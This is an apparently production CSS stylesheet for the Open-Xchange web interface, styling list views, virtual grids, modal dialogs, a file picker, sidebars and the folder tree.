.smartphone .list-view-control .toolbar a:not(.breadcrumb-link):focus,
.smartphone .list-view-control .toolbar a:not(.breadcrumb-link):focus i {
  color:inherit;
  outline:inherit;
  background-color:inherit
}
.list-view {
  list-style-type:none;
  padding:0;
  margin:0;
  outline:0;
  user-select:none;
  -webkit-user-select:none
}
.list-view:focus {
  box-shadow:0 0 1px #aaa inset
}
.list-view.scrollpane {
  overflow-y:auto;
  transform:translateZ(0)
}
.list-view .list-item,
.list-view .list-header {
  position:relative;
  font-size:13px;
  line-height:20px;
  padding:6px 0 5px;
  padding-inline-start:40px;
  padding-inline-end:16px;
  cursor:pointer
}
.list-view .list-item {
  border-radius:var(--default-radius) var(--default-radius) 0 0;
  border-bottom:1px solid rgba(0,0,0,.1);
  outline:0
}
.list-view .list-item.selected+.selected {
  border-radius:0
}
.list-view .list-item.selected.last-selected {
  border-bottom-left-radius:var(--default-radius);
  border-bottom-right-radius:var(--default-radius)
}
.list-view .list-item .list-item-checkmark {
  z-index:1;
  position:absolute;
  inset:0 24px;
  width:40px;
  color:#fff
}
.list-view .list-item .list-item-checkmark:before {
  content:"";
  position:absolute;
  top:18px;
  left:8px;
  width:16px;
  height:16px;
  border:1px solid #aaa;
  border-radius:4px
}
.list-view .list-item.selected .list-item-checkmark:before {
  background:var(--checkbox-svg-inverted);
  background-color:var(--background);
  background-size:16px;
  border-color:transparent
}
.smartphone .list-view .list-item.selected .list-item-checkmark:before {
  background:var(--checkbox-svg);
  background-color:var(--selected-background-shade)
}
.list-view .list-item.selected.no-checkbox .list-item-checkmark:before {
  background-image:none
}
.list-view .list-item:not(:last-child):after {
  content:"";
  position:absolute;
  border-bottom:1px solid var(--shade-a10);
  bottom:0;
  width:calc(100% - 2 * var(--default-radius));
  left:var(--default-radius)
}
.list-view .notification {
  display:flex;
  align-items:center;
  justify-content:center;
  flex-direction:column;
  color:var(--text-gray)
}
.list-view .notification svg {
  margin-bottom:8px
}
.list-view.hide-checkboxes .list-item {
  padding-inline-start:0
}
.list-view.hide-checkboxes .list-item .list-item-checkmark {
  display:none
}
.list-view.compact .list-item {
  padding-inline-start:0;
  padding-inline-end:0
}
.list-view .list-item .bold {
  font-weight:700
}
.list-view .list-item:hover {
  background-color:var(--selected-background-hover);
  z-index:9999
}
.list-view.visible-selection .list-item.selected {
  color:var(--selected);
  background-color:var(--selected-background);
  -webkit-font-smoothing:antialiased
}
.list-view.visible-selection .list-item.selected:hover {
  background-color:var(--selected-background-shade)
}
.list-view.visible-selection .list-item.selected:after {
  content:none
}
.list-view.visible-selection .list-item.selected:not(:focus) {
  background-color:var(--selected-background)
}
.list-view.visible-selection .list-item.selected:not(:focus):hover {
  background-color:var(--selected-background-hover)
}
.list-view.visible-selection:focus-within .list-item.selected {
  color:var(--selected-focus);
  background-color:var(--selected-background-focus)
}
.list-view.visible-selection:focus-within .list-item.selected .gray {
  color:var(--selected-gray-focus)
}
.list-view.visible-selection:focus-within .list-item.selected i:not(.color-stable) {
  color:var(--selected-focus)
}
.list-view.visible-selection:focus-within .list-item.selected:hover {
  background-color:var(--selected-background-focus-hover)
}
.list-view.visible-selection:focus-within .list-item.selected:focus {
  background-color:var(--selected-background-focus-shade)
}
.list-view.visible-selection:focus-within .list-item.selected:focus:hover {
  background-color:var(--selected-background-focus-hover)
}
.list-view.visible-selection:focus-within .list-item.selected .list-item-checkmark:before {
  background:var(--checkbox-svg-dark);
  background-color:#fff
}
.list-view.visible-selection:focus-within .list-item.selected.no-checkbox .list-item-checkmark:before {
  background-image:none
}
.list-view .list-item-row {
  clear:right;
  align-items:center
}
.list-view .list-item-row .notification-banner {
  padding-block:2px;
  padding-inline:4px
}
.list-view>.list-item:last-child {
  margin-bottom:100px
}
.list-view.complete>.list-item:last-child {
  margin-bottom:0
}
.list-view .busy-indicator {
  position:relative;
  cursor:pointer;
  left:0;
  z-index:2;
  outline:0;
  color:var(--text-disabled);
  background-color:var(--background-5);
  border-radius:var(--default-radius);
  font-size:20px;
  line-height:20px;
  height:96px;
  text-align:center;
  padding:40px 0;
  margin-bottom:0;
  transition:left .4s cubic-bezier(.1,.7,.1,1)
}
@media (prefers-reduced-motion: reduce) {
  .list-view .busy-indicator {
    transition:none
  }
}
.list-view .busy-indicator.swipe-left {
  left:-80px
}
.smartphone .list-view .busy-indicator {
  background-color:var(--background)
}
.list-view .busy-indicator.io-ox-busy {
  text-align:left
}
.list-view .busy-indicator:nth-child(2) {
  width:100%!important;
  height:100%!important;
  background-color:transparent
}
.list-view .busy-indicator:nth-child(2) svg {
  display:none
}
.list-view .list-item {
  left:0;
  z-index:2;
  transition:left .4s cubic-bezier(.1,.7,.1,1)
}
@media (prefers-reduced-motion: reduce) {
  .list-view .list-item {
    transition:none
  }
}
.list-view .list-item.swipe-left {
  left:-80px
}
.list-view.no-transition .list-item {
  transition:none
}
.list-view .swipe-left-content {
  background-color:#ff4105;
  position:absolute;
  top:0;
  right:-80px;
  bottom:0;
  width:80px;
  z-index:1
}
.list-view .swipe-left-content i {
  font-size:20px;
  color:#fff;
  position:absolute;
  top:50%;
  left:50%;
  margin:-10px 0 0 -7px
}
.list-view .pull-to-refresh {
  position:absolute;
  top:8px;
  z-index:10001;
  width:100%
}
.list-view .pull-to-refresh .spinner {
  width:50px;
  height:50px;
  background-color:#c80000;
  border-radius:25px;
  text-align:center;
  line-height:50px;
  color:#fff;
  font-size:24px;
  margin:0 auto;
  box-shadow:0 6px 12px #0000002d
}
.list-view .spin {
  animation:spin 2s infinite linear
}
.list-view .scale-down {
  animation:scaleDown .12s
}
@keyframes scaleDown {
  0% {
    transform:scale(1)
  }
  to {
    transform:scale(0)
  }
}
@keyframes spin {
  0% {
    transform:rotate(0)
  }
  to {
    transform:rotate(360deg)
  }
}
.leftside .list-view .list-item {
  outline:0
}
.megalist {
  position:absolute;
  z-index:1000000;
  background-color:#fff;
  border:24px solid rgba(0,0,0,.2);
  background-clip:padding-box;
  top:0;
  left:0;
  width:320px;
  bottom:0;
  margin:0;
  padding:0;
  outline:0;
  overflow-y:auto
}
.megalist>li {
  position:relative;
  height:54px;
  padding:8px 16px 8px 40px;
  border:1px solid transparent;
  border-bottom:1px solid rgba(0,0,0,.2);
  list-style-type:none;
  outline:0
}
.megalist>li[aria-selected=true] {
  background-color:#ddd
}
.megalist>li .fa:before {
  font: 14px/1 FontAwesome;
  -webkit-font-smoothing:antialiased;
  content:"";
  color:#767676;
  position:absolute;
  left:16px;
  top:12px;
  font-size:14px
}
.megalist>li[aria-checked=true] .fa:before {
  content:""
}
.megalist.has-focus>li:focus {
  border-color:var(--focus-500)
}
.megalist.has-focus>li[aria-selected=true] {
  color:#fff;
  background-color:var(--selected-background)
}
.megalist.has-focus>li[aria-selected=true] .fa:before {
  color:#fff
}
.megalist.has-focus>li[aria-selected=true]:focus {
  border-color:transparent;
  background-color:var(--selected-background-focus)
}
.megalist .page-divider {
  display:none
}
.vgrid {
  outline:0;
  user-select:none;
  -webkit-user-select:none
}
.vgrid .vgrid-scrollpane {
  overflow-x:hidden;
  overflow-y:auto;
  -webkit-tap-highlight-color:transparent;
  z-index:1
}
.vgrid .vgrid-scrollpane.has-focus .vgrid-cell.selected {
  background-color:var(--selected-background-focus)
}
.vgrid .vgrid-scrollpane.has-focus .vgrid-cell.selected>*:not(.badge,
.avatar) {
  color:var(--selected-focus)
}
.vgrid .vgrid-scrollpane.has-focus .vgrid-cell.selected i {
  color:var(--selected-focus)
}
.vgrid .vgrid-scrollpane.has-focus .vgrid-cell.selected:hover {
  background-color:var(--selected-background-focus-hover)
}
.vgrid .vgrid-scrollpane.has-focus .vgrid-cell.selected:focus {
  background-color:var(--selected-background-focus-shade)
}
.vgrid .vgrid-scrollpane.has-focus .vgrid-cell.selected:focus:hover {
  background-color:var(--selected-background-focus-hover)
}
.vgrid .vgrid-scrollpane.has-focus .vgrid-cell.selected:not(:focus):hover {
  background-color:var(--selected-background-focus-hover)
}
.vgrid .resizebar {
  position:relative;
  float:right
}
.vgrid .vgrid-toolbar {
  position:absolute;
  display:none;
  right:0;
  left:0;
  z-index:2
}
.vgrid .vgrid-toolbar a {
  text-decoration:none
}
.vgrid .vgrid-toolbar a i {
  color:#000;
  display:inline-block
}
.vgrid .vgrid-toolbar.top {
  top:0
}
.vgrid .vgrid-toolbar.top.generic-toolbar {
  height:2.5rem
}
.vgrid .vgrid-toolbar.top .dropdown-menu {
  inset:110% 0 auto auto
}
.vgrid .vgrid-toolbar.bottom {
  bottom:0
}
.vgrid .vgrid-toolbar.bottom .dropdown-menu {
  inset:auto 0 110% auto
}
.vgrid .vgrid-toolbar .grid-info {
  flex:1;
  text-align:left;
  line-height:38px;
  margin-right:16px;
  padding-left:8px;
  overflow:hidden;
  text-overflow:ellipsis;
  white-space:nowrap
}
.vgrid .vgrid-toolbar .grid-info .folder-name {
  font-size:18px;
  font-weight:700
}
.vgrid .vgrid-toolbar .grid-info .folder-count {
  font-size:13px;
  color:var(--text-gray)
}
.vgrid .vgrid-toolbar .grid-options.dropdown a[data-toggle=dropdown] {
  display:block;
  padding-right:8px;
  padding-left:8px;
  border-radius:var(--default-radius)
}
.vgrid .vgrid-toolbar .grid-options.dropdown a[data-toggle=dropdown]:focus {
  color:var(--selected-focus);
  background-color:var(--selected-background-focus);
  outline:0
}
.vgrid .vgrid-toolbar .select-all {
  display:inline-block
}
.vgrid .vgrid-toolbar .select-all i {
  color:var(--text-gray);
  font-size:18px;
  position:relative;
  top:2px;
  left:3px;
  padding-right:5px
}
.vgrid .vgrid-toolbar .select-all:focus,
.vgrid .vgrid-toolbar .select-all:focus i {
  color:var(--focus);
  background:var(--focus-500);
  outline:0
}
.vgrid .vgrid-toolbar .select-all-toggle {
  float:left;
  padding:0 8px
}
.vgrid.editable .select-all {
  display:inline-block
}
.vgrid.top-toolbar .vgrid-toolbar.top,
.vgrid.bottom-toolbar .vgrid-toolbar.bottom {
  display:flex
}
.vgrid:not(.bottom-toolbar) .vgrid-toolbar.bottom {
  display:none
}
.vgrid.top-toolbar .vgrid-scrollpane {
  top:4rem
}
.vgrid.bottom-toolbar .vgrid-scrollpane {
  bottom:2.5rem
}
.vgrid.editable .vgrid-cell-checkbox {
  display:block
}
.vgrid.editable .vgrid-cell {
  padding-left:48px
}
.vgrid-cell {
  outline:0;
  overflow:hidden;
  position:absolute;
  right:8px;
  left:8px;
  font-size:13px;
  padding:10px 18px 14px;
  color:var(--text);
  border-radius:6px
}
.vgrid-cell * {
  overflow:hidden;
  text-overflow:ellipsis;
  white-space:nowrap;
  -webkit-font-smoothing:antialiased
}
.vgrid-cell.selectable {
  cursor:pointer
}
.vgrid-cell.vgrid-label {
  font-weight:700;
  text-align:center;
  line-height:1em;
  padding:5px 16px 4px;
  cursor:pointer
}
.vgrid-cell.vgrid-label.left {
  text-align:left
}
.vgrid-cell:hover {
  background:var(--selected-background-hover)
}
.vgrid-cell.selected {
  border-radius:var(--default-radius) var(--default-radius) 0 0;
  background-color:var(--selected-background)
}
.vgrid-cell.selected:hover {
  background-color:var(--selected-background-focus-hover)
}
.vgrid-cell.selected:not(:focus) {
  background-color:var(--selected-background)
}
.vgrid-cell.selected:not(:focus):hover {
  background-color:var(--selected-background-hover)
}
.vgrid-cell.selected+.selected {
  border-radius:0
}
.vgrid-cell.selected.last-selected {
  border-bottom-left-radius:var(--default-radius);
  border-bottom-right-radius:var(--default-radius)
}
.vgrid-cell.relative {
  position:relative
}
.vgrid-cell.no-border {
  border-bottom:0 none
}
.vgrid-cell.tail {
  border-bottom:0 none;
  padding-top:1em;
  padding-bottom:1em
}
.vgrid-cell.tail * {
  white-space:normal;
  line-height:1.1em
}
.vgrid-cell .title {
  white-space:pre
}
.vgrid-cell .vgrid-cell-checkbox {
  position:absolute;
  top:0;
  bottom:0;
  left:0;
  width:40px;
  display:none;
  cursor:pointer
}
.vgrid-cell .vgrid-cell-checkbox:before {
  content:"";
  position:absolute;
  top:10px;
  left:12px;
  width:16px;
  height:16px;
  border:1px solid #aaa;
  border-radius:4px
}
.vgrid-cell.selected .vgrid-cell-checkbox:before {
  background:var(--checkbox-svg-inverted);
  background-color:var(--background);
  background-size:16px;
  border-color:transparent
}
.vgrid-cell .swipeDelete {
  position:absolute;
  top:0;
  right:0;
  padding:0 10px;
  line-height:61px;
  height:100%;
  background-color:#ff4105;
  color:#fff;
  font-size:22px;
  width:100px;
  text-align:center
}
.vgrid-cell .swipeDelete:active {
  background-color:#c72f29
}
.io-ox-dialog-wrapper {
  height:100%;
  width:100%
}
.io-ox-dialog-wrapper .modal-title {
  font-size:18px;
  line-height:24px
}
.io-ox-dialog-wrapper .modal-body {
  overflow-y:auto;
  max-height:400px;
  padding:15px
}
.io-ox-dialog-wrapper .modal-footer .checkbox {
  float:left;
  margin-top:6px;
  margin-bottom:0
}
.io-ox-dialog-wrapper .modal-footer .checkbox.checkbox-block {
  float:none;
  text-align:left;
  margin:0 0 8px
}
.io-ox-dialog-underlay {
  background-color:#000;
  opacity:0;
  z-index:65000;
  transition:opacity .15s linear
}
@media (prefers-reduced-motion: reduce) {
  .io-ox-dialog-underlay {
    transition:none
  }
}
.io-ox-dialog-underlay.in {
  opacity:.3
}
.io-ox-dialog-underlay.topmost {
  z-index:65002
}
.io-ox-dialog-popup {
  position:relative;
  max-width:500px;
  margin:0 auto;
  overflow:visible;
  background-color:#fff;
  z-index:65001;
  border:0 none;
  box-shadow:0 5px 25px -5px #000;
  border-radius:3px
}
.io-ox-dialog-popup .modal-header {
  position:relative
}
.io-ox-dialog-popup .modal-header h1,
.io-ox-dialog-popup .modal-header h2,
.io-ox-dialog-popup .modal-header h3,
.io-ox-dialog-popup .modal-header h4 {
  font-size:18px;
  line-height:24px;
  margin:0;
  overflow:hidden;
  text-overflow:ellipsis;
  white-space:nowrap
}
.io-ox-dialog-popup .modal-header.help h1,
.io-ox-dialog-popup .modal-header.help h2,
.io-ox-dialog-popup .modal-header.help h3,
.io-ox-dialog-popup .modal-header.help h4 {
  margin-right:35px
}
.io-ox-dialog-popup .modal-header .io-ox-context-help {
  padding:13px;
  position:absolute;
  top:0;
  right:0;
  font-size:20px;
  line-height:1.1
}
.io-ox-dialog-popup .modal-body.max-height-100 {
  max-height:100px
}
.io-ox-dialog-popup .modal-body.max-height-150 {
  max-height:150px
}
.io-ox-dialog-popup .modal-body.max-height-200 {
  max-height:200px
}
.io-ox-dialog-popup .modal-body.max-height-250 {
  max-height:250px
}
.io-ox-dialog-popup .modal-body.max-height-300 {
  max-height:300px
}
.io-ox-dialog-popup .modal-body.max-height-350 {
  max-height:350px
}
.io-ox-dialog-popup .modal-body h1 {
  font-size:18px;
  margin-top:10px;
  margin-bottom:10px
}
.io-ox-dialog-popup.zero-padding .modal-body {
  padding:0
}
.io-ox-dialog-popup.zero-padding .modal-body iframe {
  display:block;
  border-radius:5px 5px 0 0
}
.io-ox-dialog-popup.zero-padding .modal-footer {
  margin-top:0
}
.io-ox-dialog-popup.relogin {
  z-index:65301
}
.io-ox-dialog-popup .content {
  overflow:auto
}
.io-ox-dialog-popup .content .plain-text {
  font-size:12pt;
  text-align:center;
  color:#212529;
  padding:10px
}
.io-ox-dialog-popup .modal-footer>.btn {
  min-width:5em
}
.io-ox-dialog-popup .modal-footer .help-block {
  text-align:left
}
.io-ox-dialog-popup .modal-footer .help-block:empty {
  display:none
}
.io-ox-dialog-popup:focus {
  outline:0;
  box-shadow:0 5px 25px -5px var(--focus-500)
}
.io-ox-dialog-popup.topmost {
  z-index:65003
}
.io-ox-dialog-popup .modal-header,
.io-ox-dialog-popup .modal-footer {
  padding:12px 16px
}
.subscribe-imap-folder .modal-body {
  padding:0
}
.ios.smartphone>div,
.ios.smartphone>ul,
.android.smartphone .picker-pc-container .modal-body>div,
.android.smartphone .picker-pc-container .modal-body>ul {
  width:100%
}
.add-infostore-file .picker-pc-container {
  height:315px
}
.add-infostore-file .picker-pc-container .picker-navbar .actions {
  height:50px
}
.add-infostore-file .picker-pc-container .io-ox-pagecontroller.page {
  border-radius:0;
  height:calc(100% - 50px)
}
.add-infostore-file .picker-pc-container .io-ox-fileselection {
  margin-bottom:0;
  width:100%
}
.add-infostore-file .picker-pc-container .io-ox-fileselection li.file {
  font-size:16px;
  outline:0;
  line-height:40px;
  user-select:none;
  -webkit-user-select:none;
  padding:2px 7px 2px 16px
}
.add-infostore-file .picker-pc-container .io-ox-fileselection li.file label {
  margin-top:10px;
  margin-left:2px;
  margin-right:5px;
  float:left
}
.add-infostore-file .picker-pc-container .io-ox-fileselection li.file .checkbox-inline {
  font-size:16px
}
.add-infostore-file .picker-pc-container .io-ox-fileselection li.file .name {
  overflow:hidden;
  text-overflow:ellipsis;
  white-space:nowrap
}
.add-infostore-file .picker-pc-container .io-ox-fileselection li.file.selected,
.add-infostore-file .picker-pc-container .io-ox-fileselection li.file.selected:hover {
  background-color:var(--selected-background)
}
.add-infostore-file .picker-pc-container .io-ox-fileselection li.file.selected *,
.add-infostore-file .picker-pc-container .io-ox-fileselection li.file.selected:hover * {
  color:var(--selected)
}
.add-infostore-file .picker-pc-container .io-ox-fileselection li.file:focus {
  background-color:var(--selected-background-focus)
}
.add-infostore-file .picker-pc-container .io-ox-fileselection li.file:focus * {
  color:var(--selected-focus)
}
.add-infostore-file .picker-pc-container .io-ox-fileselection.singleselect li.file .name {
  padding-left:.5em
}
.add-infostore-file .modal-body {
  padding:0;
  overflow:hidden
}
.add-infostore-file .modal-body>div,
.add-infostore-file .modal-body>ul {
  display:inline-block;
  overflow:auto;
  width:33%;
  height:100%;
  margin:0;
  vertical-align:top
}
.add-infostore-file .modal-body>:first-child:nth-last-child(3),
.add-infostore-file .modal-body>:nth-child(2):nth-last-child(2),
.add-infostore-file .modal-body>:nth-child(3):last-child {
  width:33%
}
.add-infostore-file .modal-body>.preview-pane {
  padding:10px 3px 10px 10px;
  border-left:1px solid #ddd;
  text-align:center
}
.add-infostore-file .modal-body>.preview-pane>.thumbnail-container {
  width:100%;
  height:180px;
  margin-bottom:10px
}
.add-infostore-file .modal-body>.preview-pane>.thumbnail-container.contain {
  border-radius:calc(2 * var(--default-radius));
  border:5px solid transparent;
  background-color:var(--shade-a5)
}
.add-infostore-file .modal-body>.preview-pane>.thumbnail-container.contain .details-thumbnail {
  margin:0 auto;
  background-size:contain;
  background-position:center;
  background-repeat:no-repeat;
  background-origin:border-box
}
.add-infostore-file .modal-body>.preview-pane>.thumbnail-container.cover .details-thumbnail {
  border-radius:calc(2 * var(--default-radius));
  background-color:var(--shade-a5);
  margin:0 auto;
  background-size:cover;
  background-position:top;
  background-repeat:no-repeat;
  background-origin:border-box
}
.add-infostore-file .modal-body>.preview-pane>.thumbnail-container.cover.file-type-image .details-thumbnail {
  background-position:center
}
.add-infostore-file .modal-body>.preview-pane>.thumbnail-container .details-thumbnail svg.bi {
  opacity:.3;
  height:64px;
  width:64px
}
.add-infostore-file .modal-body>.preview-pane>.fileinfo dl {
  margin:0
}
.add-infostore-file .modal-body>.preview-pane>.fileinfo dt {
  margin:2px 0 -2px
}
.add-infostore-file .modal-body>.preview-pane>.fileinfo dd.file-name {
  word-wrap:break-word;
  word-break:break-all
}
.add-infostore-file .modal-body>.preview-pane>.fileinfo dd.modified>span {
  display:block
}
.add-infostore-file .modal-body .folder-tree {
  border-right:1px solid #ddd
}
.add-infostore-file .modal-body .io-ox-fileselection.has-focus>li.file.selected {
  background-color:var(--selected-background-focus)
}
.add-infostore-file .modal-body .io-ox-fileselection.has-focus>li.file.selected * {
  color:var(--selected-focus)
}
.add-infostore-file .modal-body .io-ox-fileselection.has-focus>li.file.marked:not(.selected) {
  box-shadow:inset 0 0 0 2px #86acd2
}
.add-infostore-file .modal-body .io-ox-fileselection.has-focus>li.file.selected:not(.marked):focus {
  background-color:var(--selected-background-focus)
}
.add-infostore-file .modal-body .io-ox-fileselection.has-focus>li.file.selected:not(.marked):focus * {
  color:#fff
}
.add-infostore-file .modal-body .io-ox-fileselection.has-focus>li.file.selected.marked:focus {
  background-color:var(--selected-background-focus);
  box-shadow:inset 0 0 0 2px #86acd2
}
.add-infostore-file .modal-body .io-ox-fileselection.has-focus>li.file.selected.marked:focus * {
  color:#fff
}
.add-infostore-file .modal-body .io-ox-fileselection li.file {
  outline:0;
  line-height:30px;
  padding:2px 7px;
  cursor:pointer;
  user-select:none;
  -webkit-user-select:none
}
.add-infostore-file .modal-body .io-ox-fileselection li.file label {
  margin-top:5px;
  margin-left:5px;
  float:left
}
.add-infostore-file .modal-body .io-ox-fileselection li.file .name {
  overflow:hidden;
  text-overflow:ellipsis;
  white-space:nowrap;
  padding-left:.5em
}
.add-infostore-file .modal-body .io-ox-fileselection li.file.selected {
  background-color:var(--selected-background)
}
.add-infostore-file .modal-body .io-ox-fileselection li.file.selected * {
  color:var(--selected)
}
.add-infostore-file .modal-body .io-ox-fileselection li.file .checkbox-inline {
  display:none
}
.touch .add-infostore-file .modal-body .io-ox-fileselection.multiselect li.file .checkbox-inline {
  display:block;
  height:20px;
  background:transparent;
  margin-top:2px
}
.touch .add-infostore-file .modal-body .io-ox-fileselection.multiselect li.file .checkbox-inline input[type=checkbox] {
  height:20px;
  cursor:pointer
}
.touch .add-infostore-file .modal-body .io-ox-fileselection.multiselect li.file .name {
  padding-left:0
}
.add-infostore-file .modal-footer {
  margin-top:0
}
.smartphone .add-infostore-file .picker-pc-container .folder-tree .folder-node .folder-arrow {
  position:static
}
.smartphone .add-infostore-file .picker-pc-container li.file .checkbox-inline {
  display:none
}
.smartphone .add-infostore-file .modal-body>div,
.smartphone .add-infostore-file .modal-body>ul {
  width:100%
}
.mobile-dialog.io-ox-dialog-popup {
  overflow-y:scroll;
  max-height:95%;
  width:95%;
  margin-top:0;
  top:10px;
  border-radius:0
}
.mobile-dialog.io-ox-dialog-popup .modal-footer {
  margin-top:0
}
.mobile-dialog.io-ox-dialog-popup .modal-footer .row [class*=col-] {
  margin-left:0
}
.mobile-dialog.io-ox-dialog-popup .modal-footer .row .btn {
  width:100%;
  margin:2px 0
}
.mobile-dialog.io-ox-dialog-popup h3 {
  font-size:20px
}
.legacy-chrome .io-ox-dialog-popup .modal-footer .row {
  margin:0
}
.legacy-chrome .io-ox-dialog-popup .modal-footer .row .col-md-3 {
  padding:0
}
.export-dialog .modal-body label.checkbox {
  padding-left:20px
}
.export-dialog select {
  width:100%
}
.modal.flex {
  display:block;
  overflow:hidden
}
.modal.flex.compact .modal-dialog .modal-header {
  border-bottom:0
}
.modal.flex.compact .modal-dialog .modal-body {
  min-height:0;
  padding:0
}
.modal.flex .modal-dialog {
  margin:0 auto;
  width:31.25rem;
  max-width:100%;
  height:100%;
  display:flex;
  align-items:center
}
.modal.flex .modal-dialog.items-end {
  align-items:flex-end
}
.modal.flex .modal-content {
  border:0;
  display:flex;
  flex-direction:column;
  width:100%;
  max-height:min(1000px,100% - 48px);
  overflow:auto
}
.modal.flex .modal-title {
  font-size:18px;
  line-height:24px;
  hyphens:auto
}
.smartphone .modal.flex .modal-title {
  font-size:20px;
  line-height:22px
}
.modal.flex .modal-subtitle {
  line-height:16px;
  padding-top:4px;
  margin-bottom:4px
}
.modal.flex.zero-padding .modal-body {
  padding:0
}
.modal.flex .modal-header,
.modal.flex .modal-body,
.modal.flex .modal-footer {
  padding:16px;
  flex-grow:0
}
.modal.flex .modal-body {
  min-height:60px;
  overflow-y:auto;
  flex-grow:1
}
.modal.flex .modal-body h2:not(.m-0) {
  font-size:18px
}
.modal.flex .modal-body h2.unstyled.bold {
  font-weight:700
}
.modal.flex .modal-footer .btn.pull-left {
  margin-right:8px
}
.modal.flex .modal-footer .btn.pull-right {
  margin-left:8px
}
.modal.flex .modal-footer .checkbox.custom {
  margin-top:3px;
  margin-bottom:0
}
.smartphone .modal.flex .modal-footer .checkbox.custom {
  margin-top:0;
  margin-bottom:16px
}
.modal.flex .modal-footer .btn+.btn {
  margin-left:8px
}
.modal.flex .modal-footer .help-block {
  text-align:left
}
.modal.flex.mobile-dialog .modal-dialog {
  width:85%;
  justify-content:center
}
.modal.flex.mobile-dialog .modal-footer {
  padding-bottom:8px
}
.modal.flex.mobile-dialog .modal-footer .row [class*=col-] {
  margin-left:0
}
.modal.flex.mobile-dialog .modal-footer .row .btn {
  width:100%;
  height:36px;
  margin-bottom:8px
}
.modal.flex.maximize .modal-dialog {
  height:100%
}
.modal.flex.maximize .modal-content {
  display:flex;
  flex-direction:column;
  align-items:stretch;
  height:100%
}
.modal.flex.maximize .modal-body {
  flex-grow:1
}
.modal.flex .modal-header.help .modal-title {
  margin-right:40px
}
.modal.flex .modal-header.help .io-ox-context-help {
  position:absolute;
  top:0;
  right:0;
  display:flex;
  padding-inline:4px;
  margin-right:12px;
  margin-top:16px;
  font-size:18px;
  line-height:24px
}
.modal.flex .modal-body.av-dialog {
  display:flex;
  align-items:center
}
.modal.flex .modal-body.av-dialog>div {
  padding-left:24px
}
.modal.flex .modal-body.av-dialog i {
  float:left;
  padding-top:3px;
  color:#676767
}
.modal.flex .modal-body.av-dialog.av-danger>div {
  padding-left:40px
}
.modal.flex .modal-body.av-dialog.av-danger i {
  padding-top:5px;
  color:#dc3545;
  font-size:30px
}
.modal.flex.modal-paused {
  z-index:1039
}
.folder-picker-dialog.modal.flex.mobile-dialog .modal-content {
  width:100%
}
.folder-picker-dialog .modal-body .folder-tree {
  width:fit-content;
  min-width:100%
}
.folder-picker-dialog.add-infostore-file .modal-body .folder-tree {
  width:33%;
  min-width:inherit
}
.folder-picker-dialog.add-infostore-file.mobile-dialog .io-ox-pagecontroller {
  bottom:0;
  position:static
}
.folder-picker-dialog.add-infostore-file.mobile-dialog .io-ox-pagecontroller .modal-body .folder-tree {
  width:100%;
  padding:0 8px
}
.generic-sidebar-container {
  flex:1;
  gap:var(--gap)
}
.generic-sidebar-container .generic-sidebar-content {
  z-index:1;
  display:flex;
  flex-direction:column;
  flex:1;
  min-width:0;
  border-radius:var(--gap-radius) var(--gap-radius) 0 0
}
.generic-sidebar-container .generic-sidebar {
  position:static;
  display:none;
  z-index:0;
  border-radius:var(--gap-radius) 0 0 0
}
.generic-sidebar-container.visible>.generic-sidebar {
  display:block;
  width:320px
}
.primary-action {
  padding:16px var(--inner-gap)
}
.primary-action>.btn-group,
.primary-action>.btn,
.primary-action>.dropdown>.btn {
  width:100%;
  display:flex
}
.primary-action .btn:first-child {
  flex:1
}
.primary-action .btn.btn-primary {
  height:38px
}
.primary-action .dropdown-toggle {
  width:32px
}
.primary-action .dropdown-menu {
  min-width:100%
}
.primary-action .dropdown-menu li a.disabled {
  cursor:not-allowed
}
.btn.btn-translucent-white {
  color:var(--text);
  background-color:#fff3
}
.window-sidebar .btn.btn-default {
  border-color:transparent
}
.window-sidebar .btn:not(:last-child) {
  margin-bottom:8px
}
@media all and (max-width: 540px) {
  .generic-sidebar-container .generic-sidebar {
    display:none
  }
}
@media all and (min-width: 1281px) {
  .generic-sidebar-container.visible.has-left>.generic-sidebar-content {
    left:320px
  }
  .generic-sidebar-container.visible.has-right>.generic-sidebar-content {
    right:320px
  }
  .generic-sidebar-container.visible>.generic-sidebar {
    width:320px
  }
}
.folder-tree {
  padding:8px;
  overflow:auto;
  user-select:none;
  -webkit-user-select:none
}
.folder-tree .tree-container {
  min-width:100%;
  display:block;
  padding:0;
  margin:0;
  outline:0
}
.folder-tree a[role=treeitem] {
  text-decoration:underline
}
.folder-tree .folder {
  line-height:2rem;
  overflow:visible;
  white-space:nowrap;
  width:100%;
  display:block;
  cursor:pointer;
  outline:0
}
.folder-tree .folder.selected>.folder-node .folder-options {
  display:inline-block;
  margin-left:auto;
  border-radius:0 var(--default-radius) var(--default-radius) 0
}
.folder-tree .folder.empty {
  display:none
}
.folder-tree .folder.empty.show-anyway {
  display:block
}
.folder-tree .folder.empty.show-anyway .folder-arrow svg {
  display:none
}
.folder-tree .folder.disabled>.folder-node>.folder-label,
.folder-tree .folder.no-select>.folder-node>.folder-label {
  color:var(--text-gray);
  font-style:italic
}
.folder-tree .folder.selected.no-select:not(:focus)>.folder-node>.folder-label,
.folder-tree .folder.selected.disabled:not(:focus)>.folder-node>.folder-label {
  color:var(--text)
}
html[dir=rtl] .folder-tree .folder.selected>.folder-node .folder-options {
  border-radius:var(--default-radius) 0 0 var(--default-radius)
}
.folder-tree.visible-selection .selected>.folder-node {
  background-color:var(--selected-background)
}
.folder-tree.visible-selection .selected>.folder-node * {
  color:var(--selected)
}
.folder-tree.visible-selection .selected>.folder-node .folder-counter {
  background:transparent
}
.folder-tree.visible-selection .selectable>.folder-node:hover,
.folder-tree.visible-selection .selectable.dnd-over>.folder-node {
  background-color:var(--selected-background-hover)
}
.folder-tree.visible-selection .selectable:focus>.folder-node {
  background-color:var(--selected-background-focus)
}
.folder-tree.visible-selection .selectable:focus>.folder-node * {
  color:var(--selected-focus)
}
.folder-tree.visible-selection .selectable:focus>.folder-node .folder-counter,
.folder-tree.visible-selection .selectable:focus>.folder-node .folder-label {
  color:var(--selected-focus)
}
.folder-tree.visible-selection .selectable:focus>.folder-node .folder-options {
  background-color:var(--shade-a10)
}
.folder-tree.visible-selection-smartphone .selected>.folder-node {
  background-color:var(--selected-background-focus)
}
.folder-tree.visible-selection-smartphone .selected>.folder-node * {
  color:var(--selected-focus)
}
.folder-tree.visible-selection-smartphone .selected>.folder-node .folder-counter {
  color:#fff
}
.folder-tree.visible-selection-smartphone .selected>.folder-node .folder-options {
  background-color:var(--shade-a10)
}
.folder-tree.visible-selection-smartphone .selected>.folder-node .folder-label {
  color:var(--selected-focus)
}
.folder-tree.visible-selection-smartphone .folder.selected.disabled:not(:focus)>.folder-node .folder-label {
  color:var(--selected-focus)
}
